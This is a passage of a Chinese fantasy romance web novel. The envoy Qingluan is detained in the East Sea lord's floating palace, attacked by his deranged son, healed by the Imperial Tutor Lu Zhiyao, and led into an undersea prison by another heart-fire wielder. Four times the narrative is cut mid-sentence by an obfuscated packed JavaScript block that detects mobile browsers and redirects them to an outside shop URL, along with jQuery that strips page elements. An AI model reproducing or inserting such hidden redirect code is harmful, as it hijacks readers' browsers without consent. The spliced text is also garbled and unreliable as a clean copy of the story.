讲了他们家神君这么多的好处,他似乎还意犹未尽,挠挠脑袋又想不出什么更好的词来继续夸,于是抬手朝着青鸾身侧的酒楼一指:“你若对东海神君的事迹感兴趣,可以进去听说书先生讲一讲,正好他今儿个要讲神君往事。” 青鸾想了想,朝路人道了声谢,然后在他期待的目光中迈步走进了酒楼里。 进去后她挑了一个靠窗的位置坐下,一面望向窗外长街尽头蔚蓝的海,一面听着酒楼里说书人颇具感染力的声音。 “对于许多人来说,东海的祭祀旧俗早已是传闻中的事情,甚至还有许多人从来不曾听说过这个旧俗。可是,这片土地上以捕鱼为生的先民曾经饱受海难之苦,为了祈祷每一次出海都顺风顺水,海祭便成为了此地的习俗。以活人祭祀,是东海曾经真实发生过的事情。” 青鸾给自己斟了一杯茶水。 听起来这说书人是在讲述一个此地传闻中的旧俗,并且已经接近尾声了。 “多亏了现在的东海神君,因为他的庇佑,我们这些凡人再也不用担心出海时遇见风暴巨浪。也是他下令取消了海祭这一旧俗,千年时光过去,他此举不知救了多少人的性命,可谓是功德无量!” 随着醒木声响,说书人话音落地,酒楼中响起热烈的掌声。 没想到东海神君陌离在此处的风评如此之好,若真如这说书人所言,是他取消了以活人祭祀的这一陋俗,那当真是做了一件惠泽百姓的大好事。 东海神君的故事便在这一片掌声里告一段落,说书人喝了口茶水,打开折扇清了清嗓子,开始了他的下一段故事。 “接下来我再给诸位讲一讲那传说中的帝师路之遥,这位以凡人之躯修得无上境界,成为天君之师的传奇人物,曾经在那西方昆仑之境还有过一段鲜为人知的隐秘过往。” 青鸾支着脑袋勾了勾唇角,看来不论何时何地,帝师路之遥便是各路说书人博取听众关注的重要人物。而这天下世人都对路之遥钦羡仰慕,他身上的故事便如同无穷的宝藏,永远令人津津乐道。 “路之遥曾为上任天君之师,这是众人皆知的事情。可大家不知道的是,他曾经还在西方昆仑之境收过一个徒弟。” “那徒弟乃是西王母选中的凰女,今后是要继承西王母之位的。路之遥对这个小徒弟可谓呵护备至,曾经就有人见过他裁剪星光为裳,只为了给那小徒弟准备一件生辰贺礼!” 青鸾听得眯了眯眼。 这桥段也太烂俗太离谱了点。 “说起他那小徒弟的生辰,也是一桩大大的奇闻。传说她从一朵万古冰莲中化生,而那冰莲乃是历代西王母守护了万载的昆仑圣物。那日天有异象,冰莲催动,从中诞生了一个小小婴孩。” “可惜冰莲所在之地乃是一处布了上古禁制的万丈峭壁,就连西王母也无法靠近,不能将那婴孩从冰莲之中取出。于是她去求了帝师路之遥,请他救那冰莲中的婴孩一条性命。” “帝师路之遥踏夜而来,借着漫天繁星的光辉破了那上古禁制,将那正在啼哭的小小婴孩从冰莲中取出。” “传闻路之遥刚一将那婴孩抱进怀里,她立马就不再啼哭,而是安安静静地注视着那抱着她的人。路之遥当即便决定收她为徒,两人的缘分便是从这一个星夜中开始……” 青鸾按了按隐隐跳动的眉心,预感到说书人即将要开始叙述一段传奇人物风花雪月的故事,于是付了茶水钱,起身离开酒楼。 她对那些风月之事没有兴趣。 离开酒楼之后,她朝着长街尽头的东海而去。 东海是她此行的目的地,东海神君陌离手中的博石是帝骁命她取来为帝台神贺寿之物。 但她知道帝骁的用意绝不仅仅在此,此行的目的与结果于她而言皆是未知的。 凭借着避水珠进入到东海海底,她按照着令牌的指引寻到了位于海底的东海神宫。 这令牌是之前帝骁所给的证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125564|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明她的身份之物,此刻正好派上用场。 守卫在神宫跟前的侍卫们用三叉戟拦住了她:“什么人?速速回去!” 青鸾举出手中令牌:“我乃青要山武罗神君帝骁座下仙使,此番前来是寻东海神君取一名为博石之物,好给帝台神庆贺生辰。” 她这一番话搬出来武罗神与帝台神两位大神,守卫神宫的侍卫面面相觑,明显犹豫了一下,皆露出难色。 青鸾注意到两人神色的异常,扬了声音问:“可有什么不妥?” “武罗神君的令牌,自是没有什么不妥。”其中一个侍卫接过令牌仔细打量了一番,然后恭恭敬敬地将令牌还给青鸾:“如今东海神君已不住在这海底神宫之中,还请仙使随我移步。” 另一个侍卫抬起三叉戟拦住去路,压低了声音道:“神君下了死令,这一段时间他不见客,任何人都不得打扰,你怎敢带人去见他?” 那打算给青鸾带路的侍卫朝他使了一个眼色:“她手中的令牌确实来自青要山,是武罗神君之物。你我算什么人物,难道还能得罪那位神君不成?我且领她去海上仙宫,见或不见自有东海神君定夺,你便先走一步,去向神君禀报此事。” 那人听他分析得很有一番道理,也就不再阻拦,先行一步朝仙宫而去。 方才这两人的谈话全都落在了青鸾的耳里,但她只作不知,朝为她引路的侍卫笑了笑,随他往海面而去。 引路的侍卫举起三叉戟分水开路,青鸾便也不必再使用避水珠,只跟在他的身后就好。 两人就这样离开了海底神宫,一路回到了水面之上。 却没想到那侍卫口中的海上仙宫竟真是一座悬于海面之上的宫殿,偌大的宫殿如海市蜃楼一般悬浮在半空之中,在海面上升腾起的云雾里若隐若现。 青鸾遥望着空中的宫宇楼阁,轻轻挑了挑眉。 这东海神君的心思可真是别致,也不知他为何舍弃海底历代神君所居的神宫不住,耗费这样大的精力在海面之上重建一座宫殿。 云雾缭绕之间,几道身影浮现,竟是东海神君陌离亲自出宫相迎。 已在任上千年的东海神君看起来却十分年轻,黑色的衣袍拢在他的身上,衬得他原本便很苍白的脸庞愈发冷峻。 他拂开海面的雾气凌空而至,来到两人面前后并未同青鸾说话,而是先将冰冷的目光落在手持三叉戟的侍卫身上。 “就是你为青要山仙使引的路?” 这一句问话的语气比他的目光还要冰冷,除了冰冷之外倒听不出其它情绪,令人无法猜度他是赞赏还是责备,亦或只是单纯地问了这么一句。 那侍卫却显然被吓得不轻,慌忙垂首请罪:“属下知道您这一段时间都不见客,只是这位仙使手持武罗神君的令牌,属下这才……这才……” “你做得很好。”不待那侍卫将解释的话说完,东海神君陌离便打断了他,淡淡地赞赏了一句,然后将目光移到了青鸾身上:“既是武罗神君座下仙使,自然与旁人不同,是怠慢不得的。” 74. 浅歌行 青鸾迎着东海神君的目光微微笑了一笑,不卑不亢地行了个礼,向他道明来意。 陌离听罢若有所思地哦了一声,侧过身子,伸手邀青鸾入宫:“博石位于东海一处隐秘之地,我即刻派人去取,来回至少需要两三日的工夫,便请仙使入宫小住两日。” 青鸾没有立即动身,而是用余光观察了一下周围的海面,感受到来自海底深处看似平静实则诡谲的气息,暗暗调动心火,想要探查一下海中有何异样。 便在她调动心火的一瞬间,陌离出声打断了她:“仙使可是有什么顾虑?” 青鸾不动声色地注视着他,敛了心火轻轻摇头,只当作什么都没有察觉,跟随他往海上仙宫而去。 便在她踏入宫门的下一秒,仙宫之外开启了三重禁制,将一整座海上仙宫牢牢包围起来。 青鸾顿住步子,转头望向走在她身侧的陌离。 陌离神色如常:“仙使勿怪,最近东海不甚太平,时有海妖出没。吾儿陌浅自小患有癔症,这段时间被频繁出没的海妖所惊,癔症之状愈发严重。近日我闭关为他调理身体,因此向侍卫们吩咐不见外客,还设下了这几重禁制。” 他这话说得有理有据无可挑剔,青鸾便也只是嗯了一声,没有多问,安静地跟随他来到为自己安排的客房。 “这两日便委屈仙使住在此处,有何需要可随时唤宫中侍婢。”将青鸾安顿在宫中之后,陌离拢着袖子离开客房,出门时还顺手为青鸾关上了房门。 青鸾注视着陌离的背影微微眯了眯眼,在他关上房门之后,将目光移到窗外的海面上。 看似平静的海面正酝酿着危险的气息,早在进入海上仙宫之前,她的心火便感应到了。 东海的异样也许正是帝骁派她前来的原因,但也有可能便连帝骁也不知晓东海神君在暗中筹谋什么事情。总之,在什么都还不清楚的情况下,她只能忍耐,按兵不动。 青鸾就这样在宫中住了两日。 两日之后无事发生,陌离并未唤她前去取走博石,也无一人前来告知她还需继续等待多长时日。 她好像被遗忘在了宫中一角的客房里。 眼下她所处的境况再明显不过,所谓需要时间去隐秘之处取来博石,不过是一个诱她留在海上仙宫的幌子。 那三重禁制既是防止外人擅入,也是防着她擅自离开宫中。 她被东海神君软禁起来了。 可他这样做是为了什么呢? 青鸾思考着这个问题,踱步到了窗前。 月亮高悬于夜空之中,映照得海面波光粼粼。 海上的月色与山中的全然不同。 与海水缠绵相拥的月色似乎比山中月更柔软潮湿一些,它们随着一阵又一阵的波浪缓缓起伏,像轻柔的缎子铺在海面之上,又像是一层薄薄的面纱,正半掩着美人的玉容。 然而这样美的海面之下正有许多的海妖作祟…… 青鸾想起两日前陌离对她说的这番话,略一沉思,飞身从窗口而出,来到了海面之上。 这一处海域仍在海上仙宫的范围之内,因此她并没有触发仙宫所设的那三重禁制。 垂首注视着幽深的海水,青鸾再一次尝试燃起心火。 片刻之后,心火与海底某物产生了共鸣,她能感觉到在心火燃烧之时,自海中传来的某种回应。 这一片海域深处到底藏了些什么? 便在她专心感受着来自海底的回应之时,一道剑气无声无息地自她身后拂来。 心火对周围的危险有一种天然的警觉,在那剑气堪堪拂上青鸾脖颈之时,来自心火的预警让青鸾下意识侧身躲闪,躲过了那冰凉剑气的致命一击。 若非她正巧点燃心火,恐怕根本察觉不到那如微风拂面一般的轻盈剑气,便要无知无觉丧命于此了。 持剑之人悄无声息立于青鸾身后,见她躲过了自己的致命一击,似乎有些诧异。 海风拂动着二人的衣衫,那人的一袭蓝色长袍在风中猎猎作响,银色的发梢与月华相接,让他整个人都在月下散发着淡淡的光辉。 他注视着青鸾,歪了歪脑袋,目光中流露出些许惊恐之意,然后他颤抖着开口:“你为什么要来杀我?” 青鸾默了一默。 这人什么毛病? 这话不应该她来问他么? “你为什么也要来杀我?”他再次开口,却是翻来覆去只有这么一句。 这个问题好像很令他困扰,他紧紧皱着眉头,眼眶逐渐泛红,眼神中弥漫起些许癫狂之意。 无形的剑气再次向青鸾袭来,他疯狂挥舞着手中的剑,没有什么招式,挥出的每一道剑气却无比凌厉。 他手中的那一柄剑不知是以何种材质制成,剑身透明恍若无物,所挥舞出的剑气虽然霸道却又无声无息,令人难以闪避。 青鸾颇为狼狈地躲闪着那些毫无章法的剑气,看着此人如此癫狂的模样,放弃了同他讲一讲道理的可能。 此刻的她被逼入了一个进退两难的境地,既无法同他讲道理,也不能摆脱他的剑气离开这里,只能不停地在他的攻势下左闪右避。 饶是如此,她的脸上还是挂了彩,被一道剑气划出好大一条伤痕,鲜血从脸颊流下,很快便染红了她胸前的衣襟。 她原本不想在海上仙宫动用心火的力量,可是眼前这个疯子明摆着是要取她的性命,一味躲闪不是办法,她只能硬着头皮反击。 以心火催出无敌之身,她抬起双手硬接那人的无形之剑。 那柄剑的剑身虽是透明,萦绕在它周围的剑气却散发着近乎凝为实体的泠泠寒光。青鸾燃起心火,以心火焚烧着冰冷的长剑。 那人感应到心火的力量,瞬间变得愈加疯狂,双手攥着剑柄,释放出磅礴的神力,将青鸾一头压进了海水之中。 这人也是神君? 竟然也能释放出神力。 青鸾被他压往海水深处,冰凉的海水瞬间灌进她的口鼻之中,这令她来不及思考更多,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149390|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能机械地催动心火做出抵抗。 海水似乎催生着那人的神力,在两人淹入海中之后,他用来压制青鸾的神力变得愈发强悍,逼得她险些释放不出心火。 好在坠入海里之后,那来自海底的神秘回应也越来越强烈,它仿佛在无言地呼唤着青鸾释放出自己的力量,与她心脏跳动的声音一起有节奏地共鸣着。 这让她在半昏迷的状态中也能催动心火。 透明剑身所挥出的无形剑气在来到海里后有了形状,它们像是一条条白色的绫带,搅动着海水,染上了寒气,柔软却又锋利地朝着水中的青鸾袭来。 青鸾没有武器,只能以双手抵挡,脸颊上传来剧烈的刺痛,这一阵又一阵的刺痛感反倒让她能够保持些许的清醒。 自她指尖燃起的心火在水中不灭,如游蛇般缠绕住凝固的剑气,她如海水一般幽深湛蓝的眼眸此刻也仿佛燃起了火光,在她目光所及之处,冰凉的海里弥漫起熊熊大火。 便在此时,她瞧见海面之上人影憧憧,想必有人听到了此处打斗的动静,赶了过来查看情况。 那个在海中与她缠斗的人显然也注意到了海面之上赶来的人影,于是发了狂似的朝青鸾俯冲而来,无视那些弥漫在海中的心火,即便它们在下一秒也许就会将他烧为灰烬。 青鸾原想继续催动心火御敌,却在一瞬间回忆起两天前她在仙宫之外以心火探查海中情况时陌离的眼神。 他那时分明意识到了她正在催动心火,而海中那个能够与她的心火产生共鸣之物他也必定知情。 若还想继续探查,那便不能让他知晓自己能将心火运用到何种程度。 不能让海面上那些人瞧见她正在使用心火。 电光火石之间,青鸾做下了这个决定,于是在那疯子俯冲过来的一瞬间,她闭目垂手熄了心火,任由那人扼住她的咽喉将她带回了海面。 方才还与火焰共生的海水瞬间变回平静。 回到海面之后,他抬手将冰凉无形的剑刃抵在她的喉上。 海面上已经聚集了许多的人,却无一人敢轻举妄动,胆子最大的也只敢轻呼一声少主,让他把剑放下。 咸湿的海水顺着青鸾的发梢淌下,她舔了舔方才激斗之中因催动心火而变得干涸皲裂的嘴唇,听到他们唤身侧的人少主。 她还道这个拥有高深神力却疯疯癫癫的人是谁,原来他就是陌离那个患了癔症的疯儿子。 “她要杀我!”陌浅依旧是一副疯癫的样子,他时而将剑抵在青鸾的喉间,时而拿着剑在眼前胡乱挥舞一通:“我不要待在这里,我不想死,我不要待在这里……” 周围的人在陌浅拿着剑胡乱挥舞时纷纷后撤,生怕那柄能够在陌浅手中发挥出巨大威力的神器伤了他们,又在陌浅拿剑抵着青鸾脖子之时拥上前来,怕他们的少主当真发疯杀了这位来自青要山的仙使。 便在这一片混乱之际,东海神君陌离沉着脸来到这里,跟在他身后的还有一位绛色衣衫墨色长发的年轻男子。 75. 浅歌行 “浅儿,在胡闹什么?”陌离的脸色沉得可怕,他蹙眉注视着还在惊恐挥剑的陌浅,目光落到被海水浸得湿透了的青鸾身上时,不由又沉了几分。 “把剑放下,跟我回去。”他朝陌浅伸出手,想要唤他回去。 不料他的这一个动作似乎愈发刺激到了陌浅,他摇着头往后退,抵在青鸾脖间的剑也没了分寸,瞬间划破了她的皮肉。 眼看那柄无形之剑向下落去,立时就要取了青鸾小命,跟在陌离身后的绛衣男子拂袖一挥把剑弹开,顺便将陌浅也弹开了三尺远。 陌离似是没有想到绛衣男子会出手,错愕地转身回望。 便在他转身的一瞬间,绛衣男子掠过他的身边,向前接住青鸾。 青鸾原本被陌浅控制在空中不能动弹,鲜血和海水让她的头发黏在了一起,胡乱地贴在脸上,这就导致她看不太清眼前发生的状况。 因此在一片混乱中骤然被陌浅松开后,她猝不及防往下坠落,过了一会儿才反应过来自己是被扔了下去,正要御气飞起之时,却冷不防被人接住。 她抬起头望向接住她的人,想要看清他的面庞,却只透过凌乱的发丝瞧见他的绛色衣衫。 那人伸手拂开覆在她脸上的头发,在看见那一道狰狞伤口后微微蹙了蹙眉。 “犬子癫狂,竟然惊动帝师出手,还请帝师恕罪。”便在绛衣男子蹙眉查看青鸾脸上的伤口时,陌离赶忙命人制住陌浅,随后带领东海众人垂首向那绛衣男子请罪。 霎时之间跪倒一片,喧嚣无比的海面瞬间回归了初时的宁静。 此刻青鸾只听得到海风拂过耳畔的声音,还有男子胸膛处心脏跳动的声音。 她再次抬起头,这回没了发丝的遮挡,她借着月色看清了他的模样。 墨发如画染,眉目似远山,他仿佛是自海面升腾起的一抹雾气,飘渺而又施施然。 青鸾看呆了眼。 “你的脸伤得不轻,随我来,我替你疗伤。”直到他松开了揽住她的手,在听到他的声音之后,她才回过神来。 回过神来之后她又吃了一惊。 如果没有听错,他是要亲自给她疗伤? 方才陌离唤他什么来着? 帝师? 难道他就是名扬四海威震八荒的帝师路之遥? 帝师路之遥要亲自给她疗伤? 青鸾心中飘过一万个问号。 路之遥走了几步,察觉到身后的人还呆在原地一动未动,于是转过身望向她。 他似乎是在笑,嘴角分明噙着笑意,那笑意却又有几分悲伤。 这样的表情让他整个人看起来破碎而又温柔。 青鸾捂住心口,很真切地感觉到自己的心脏漏跳了一拍。 “愣着做什么,还不快跟上?”他轻轻问了一句,望向青鸾的目光里有溢出来的心疼。 路之遥目光中的心疼之意令青鸾有些恍惚,她不明白他为什么要对自己感到心疼。 按理来说今天是他们的第一次见面,在此之前他们从未有过交集。 虽然心中满是疑惑,但她还是咬住嘴唇跟了上去,在众人的注视下随着路之遥一起回到了海上仙宫。 仙宫的回廊曲折而悠长,像是藏于深海的鲛人留下的一抹叹息。 青鸾亦步亦趋跟在路之遥身后,注视着他颀长的背影,略微有些走神。 自从来到东海之后她便勒令自己打起十二分的精神,尤其在被东海神君软禁在海上仙宫之后,她时时刻刻都紧绷着不敢有一丝松懈。 却没有想到这样的状态会因为眼前这个人的突然出现而发生改变。 她跟在他的身后,竟然不由自主放松了精神。 此刻的她感到一种久违的安全,这是自从她做过那个预言梦之后再也没有过的感受。 就因为面前的人是帝师路之遥吗? 她觉得并不尽然。 就在她任由自己的思绪胡乱漫游之际,眼前的人站在门口停下了步伐,她低着头冷不防撞了上去。 尴尬地抬起头,映入眼帘的是路之遥清浅的笑意。 此刻他嘴角的笑比方才更加明晰,不似海上月下那般朦胧。 他侧身推开房门,示意青鸾进去。 青鸾也没有同他客气,道了声谢,迈步踏入他的房中。 走进房间后首先闻到的是一股药草的清香,然后便是掩在各种药草气味之下的几缕花香。 路之遥挥手亮起灯盏,在堆满了药草的桌上翻找着什么。 片刻之后,他拿着一个小盒走到青鸾面前,让她在窗边坐下。 灯盏的亮光映照着青鸾苍白的脸庞,显得她脸上的那一道伤痕愈发可怖,路之遥端着那个小盒打量了她半天,始终没有给她上药。 过了好一会儿,他忽然开口问她:“疼吗?” 青鸾被他这个问题问懵了,歪着头感受了半天从脸颊伤口传来的灼热刺痛,才不是很笃定地回了他一句:“疼……的吧?” 她脸上的伤其实并不算轻,她也许是该疼的。 可这个伤与跟大言合虚神交手时所受的伤比起来,实在算不得什么。 自从那日与大言合虚神一战,在鬼门关外走了一遭之后,她便不太能感受到疼痛了。 路之遥安静而专注地望着她,不知道在想些什么。 忽然他俯下身来,抬手抚上青鸾的脸颊。 一股热流顺着他的掌心流淌至她冰凉的脸上,她感到一阵温暖,伤口也酥酥麻麻的不再如方才那般刺痛。 “这样捂一会儿就不疼了。” 他轻声对她说。 青鸾张了张嘴,想说她其实并不太疼,抬头望见路之遥专注的目光,又觉得两人之间的气氛莫名有些微妙。 于是欲言又止,倒不知此时该不该开口说话了。 路之遥自然察觉到了青鸾的局促,他将抚在她脸上的手移开,低头取出散发着淡淡幽光的药膏,用指尖轻轻勾起一块,一点一点地涂在她的伤口上。 他的动作十分轻柔,以至于青鸾在上药之时感觉不到一丝疼痛,反而有一些酥痒,让她忍不住想笑。 绛色衣袖偶尔拂过她的鼻尖,捎来一股说不出的好闻味道。 青鸾吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173318|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吸鼻子,抿嘴打量着眼前认真为自己上药的路之遥。 不知为何她总觉得他的眉眼之间萦绕着一丝若有似无的哀伤。 他为她上药时的专注神情让她觉得似曾相识。 海风掠过回廊,穿过窗户,拂过她的脸庞,带来一阵令人感到舒服的凉意,她不禁眯了眯眼,心中生出一些许久不曾有过的惬意。 “好了,这几日脸上不要碰水。”路之遥上完药后便转过身去,开始慢条斯理地收拾桌上的各种器皿,背对着青鸾道:“明天晚上再来此处找我为你换药。” 这么麻烦,还要换药? 青鸾在心中腹诽,嘴上却什么也不敢说,站起身来再一次干巴巴地向他道谢。 就在她犹豫着要不要鼓起勇气问一问路之遥,他到底是为了什么要替她疗伤之时,一个扎着漂亮发髻的小姑娘抱着一束花从里间走出来,光着脚站在原地,对着路之遥脆生生地喊了一声爹爹。 青鸾虎躯一震。 看来那些说书人的消息还是有些滞后。 她从未听任何人提起过,路之遥竟然有一个这么大的孩子。 那小姑娘似乎是有些犯困了,揉揉眼睛望向青鸾,棕色的眸子像琥珀一样好看。 与青鸾对望了一阵,小姑娘再次开口,依然脆生生的:“姐姐,你好漂亮呀。” 青鸾再次虎躯一震。 她觉得自己的心化了一瞬。 “爹爹,这个漂亮姐姐是谁呀?”小姑娘转头望着路之遥,眨巴眨巴眼睛好奇地问。 “怎么又光着脚跑出来?”路之遥没有回答她的这个问题,皱了皱眉走向她,俯身将她抱起:“好了,回去睡觉。” 女孩趴在路之遥的肩头,冲呆在原地的青鸾灿烂地笑了笑,抬起胳膊挥了挥手。 直到两人进入里间关上房门,青鸾才反应过来,自己就这么水灵灵地被路之遥晾在这里了。 而他似乎是…… 回去哄孩子睡觉去了…… ? 一阵冷风吹过,青鸾打了个哆嗦,摸了摸自己胳膊上的鸡皮疙瘩,默默转身离开。 今晚发生的事情太多,信息量太大,她需要回去消化消化。 可惜今夜注定不能太平,没有时间让她将发生的事情慢慢梳理。 青鸾在回自己房间的路上忽见一道身影自回廊尽头闪过,原本她不欲理会,可在那道身影消失在夜色中的时候她突地感受到心火异动。 蛰伏在心底的那一束火焰不待她的召唤便自行燃起,仿佛感受到了来自同伴的呼唤,隐秘而有规律地晃动着,做出一些难解的回应。 显然方才在走廊尽头闪过的那人也能掌控心火的力量,且对心火力量的掌控已经十分熟稔,唯有如此才能唤起青鸾体内心火的共鸣。 这海上仙宫可真是卧虎藏龙。 青鸾原本以为世上只有她一人可以催动心火,且她本来就对这一陌生而又熟悉的力量的来源感到疑惑,此刻碰见一个如她一般能够使用心火之人,岂能就此放过。 轻轻叹了口气,她顺着那道身影消失的方向追了上去。 76. 浅歌行 深夜的海上仙宫透着一股寒冷的静谧,青鸾在宫中回廊无声地穿梭着,一路跟随着那道身影来到了陌浅的所居之处。 身影到这里就消失了,然而青鸾胸膛中的心火仍在摇曳晃动,对不远处那一簇陌生的心火做出微弱的回应。 青鸾挑了挑眉。 看来那道身影此刻就在陌浅房中。 她观察了一下四周的布局,飞身离开回廊,绕到了陌浅窗前。 窗户是半掩着的,透过缝隙正好能够看到正对着窗户的床榻。 陌浅就斜卧在床榻之上,紧蹙着眉闭上双眼,似乎十分痛苦。 他跟前立着一个纤瘦的女子,正催动心火化成一道道红色的轻烟缓缓包裹住他。 她仿佛是在替他疗伤。 青鸾没有出声,饶有兴味地观察着那个女子接下来的动作。 只见心火愈来愈盛,包裹住陌浅的那些红色烟雾也越来越温暖,随着女子持续催动心火,陌浅的表情不再如最初那般痛苦。 青鸾倒是没有想到心火还有这种用法,也不知那女子是如何发现它还有疗伤镇痛这一用途的。 一向只会利用心火打打杀杀的她不禁对那女子产生了些敬佩之意。 便在这时,屋内已将心火燃到极致的女子终于察觉到了青鸾的存在,她猛地转头望向窗外,在看见青鸾的身影之后露出惊慌的表情,瞬间收了心火以手为刃朝青鸾袭来。 青鸾飞身后撤,不欲与她缠斗,可那女子一直紧追不舍,青鸾就这样被她一路追到了海面之上。 漆黑的海水和惨白的月光互相交织着,织成一道令人窒息的梦魇,将青鸾牢牢网住。 她不由想起方才被陌浅压制在海水之中的画面,打了个冷颤,脸颊上的伤口又开始刺痛。 于是在那女子即将接近她时,她条件反射般催动心火回身一击,逼得那女子险些从空中坠下。 两人就这样交起手来,心火与心火的碰撞映红了她们脚下的海面,火焰看似柔软地在空中摇曳,相撞之时所迸发出的力量却激得海水震荡。 其实她二人出手均有所克制,都没有使出杀招,然而那两道心火仿佛相克相生,在互相攻击之下反而助长了彼此的火势,以至于到后来它们的主人都难以控制。 那女子见状露出焦急之色,惊呼一声想要收手:“不能再打下去了,心火继续燃烧下去的话我们就会……” 不待她把话说完,激荡的海面突然生出一个巨大的漩涡,漩涡吞噬了所有的火焰,然后如同海怪的触手,在空中胡乱挥舞了一通,将左躲右闪想要离开此地的二人卷入了海水之中。 青鸾暗道一声不好,虽然及时屏住了呼吸,却还是被突然涌上来的海水呛了好几口。 她在海中像一只断了线的风筝,抓不住任何一个可以凭靠之物,也不知道会在海浪的裹挟之下漂向何处。 这样一个危急的时刻,她的脑海当中竟然只有一个想法。 刚刚路之遥才替她上好药,还嘱咐她这几日都不要碰水,可她现在又让自己掉进了海里,这可如何是好。 又一个海浪袭来,她被打得浑身酸痛,口鼻之中涌入海水,这让她再一次感受到窒息的感觉。 闭上眼睛,她努力让自己保持镇定,一次又一次尝试点燃心火。 她绝不会坐以待毙,无论如何不能如此憋屈地被淹死在海里。 终于,微弱的火光在她心头燃起,燃起的一瞬间她便感应到另一道心火的呼唤,两道心火愈靠愈近,在足以感受到彼此的温度之时,一个柔软的手牵住了她的手。 是方才那个女子。 青鸾仍旧闭着眼睛,任由那女子牵着她的手往海底深处游去。 海中似乎也被人布下了某种禁制,在她二人穿过那道禁制之后,激荡的海水瞬间变得平静。 “你现在可以睁眼了。”那女子松开青鸾的手,劫后余生般喘了口气。 青鸾睁开眼睛,首先映入眼帘的便是被劈成了两截的巨大锁链。 她吃了一惊,面上却是不动声色,将目光从生了锈的锁链之上移开,望向身侧还在不住拍着胸口惊魂未定的女子道:“你方才说我们继续燃烧心火的话会怎样?” 那女子愣了一下,然后说:“……就会像现在这样。” 青鸾:“……” 两个人面面相觑了一会儿,那女子不好意思地挠挠脑袋补充道:“海上仙宫所在的这片海域除了东海神君布下的那三道禁制外,似乎还被人设下了一个神秘而强大的结界,打开结界的唯一方法便是点燃心火。我们方才所处的那片区域正巧就是结界的入口,若是在那里燃烧心火不小心打开了结界,就会像现在这样误入此地。” 说到这里,她再次后怕地抚上心口:“其实误入此地都算是好的了,若是打开结界之后不能顺着正确的路径进入这里,就会被传送到不知名的海域去。大海茫茫,多的是无人涉足的区域,那简直太危险了。” “你似乎对这里很熟悉的样子。”青鸾仍对她怀有戒备,于是试探地问:“这里到底是什么地方?” “这里么……”女子扫视了一圈这片不大的空间,最后将目光锁定在断成两截的巨大铁链上:“这里就是陌浅长大的地方。” 青鸾听罢蹙眉,讶异地重复了一遍:“这里是陌浅长大的地方?” 这似乎是建造在海底深处的一个囚笼,与外界相隔绝,空空荡荡,唯有从墙壁上延伸出来的那截玄铁锁链昭示着此地曾经有人待过。 陌浅不是陌离的独子么? 他怎会被囚禁在这里长大? “我曾经在无意中发现了这座囚牢,后来我将此地说给陌浅听,他才告诉我这里便是他长大的地方。”见青鸾似乎不大相信的样子,女子有些着急地解释,言语之间尽是为陌浅过去经历所抱的不平与委屈:“那东海神君不是什么好人,他苛待妻儿,亲手将陌浅逼成了这个样子,还到处说阿浅患有癔症,要我说他才患有癔症,他才是个疯子!” 青鸾见她如此激愤,不由更加疑惑:“可他为何要这样做?” 那女子却答不上来,撅着嘴嘟囔道:“谁知道他为什么要这样做,也许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176868|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就因为他是个疯子吧,疯子做事情还需要什么理由吗……” 看得出来她当真是十分厌恶陌离。 却也并不知道他如此行径的原因。 青鸾沉默了一会儿,对那女子道:“我叫青鸾,来自青要山,你呢?” 那女子倒是对青鸾毫无戒备之心,立马回答道:“我叫千歌,来自翼望山鵸鵌一族。” 说完,似乎是觉得互相报过姓名之后二人就成为了好朋友,她主动靠近青鸾:“我刚才并不是想跟你动手的,只是想追上你,让你不要把今夜看到的事告诉东海神君。” 青鸾抽了抽嘴角,打量了她一番,意识到这个女子是真的单纯,心情复杂地点了点头。 千歌见她点头,一颗悬着的心这才放了下来。 放下心来之后她便有精力去操心别的事情了。 “我们别待在这里了,我总觉得这里阴森森的怪吓人,还是快点出去吧。你随我来,我知道出去的路。” 说着她燃起心火迈步向前走去,火焰照亮了前方的路,四面皆是墙壁的囚笼缓缓浮现出一道悬浮在半空中的阶梯。 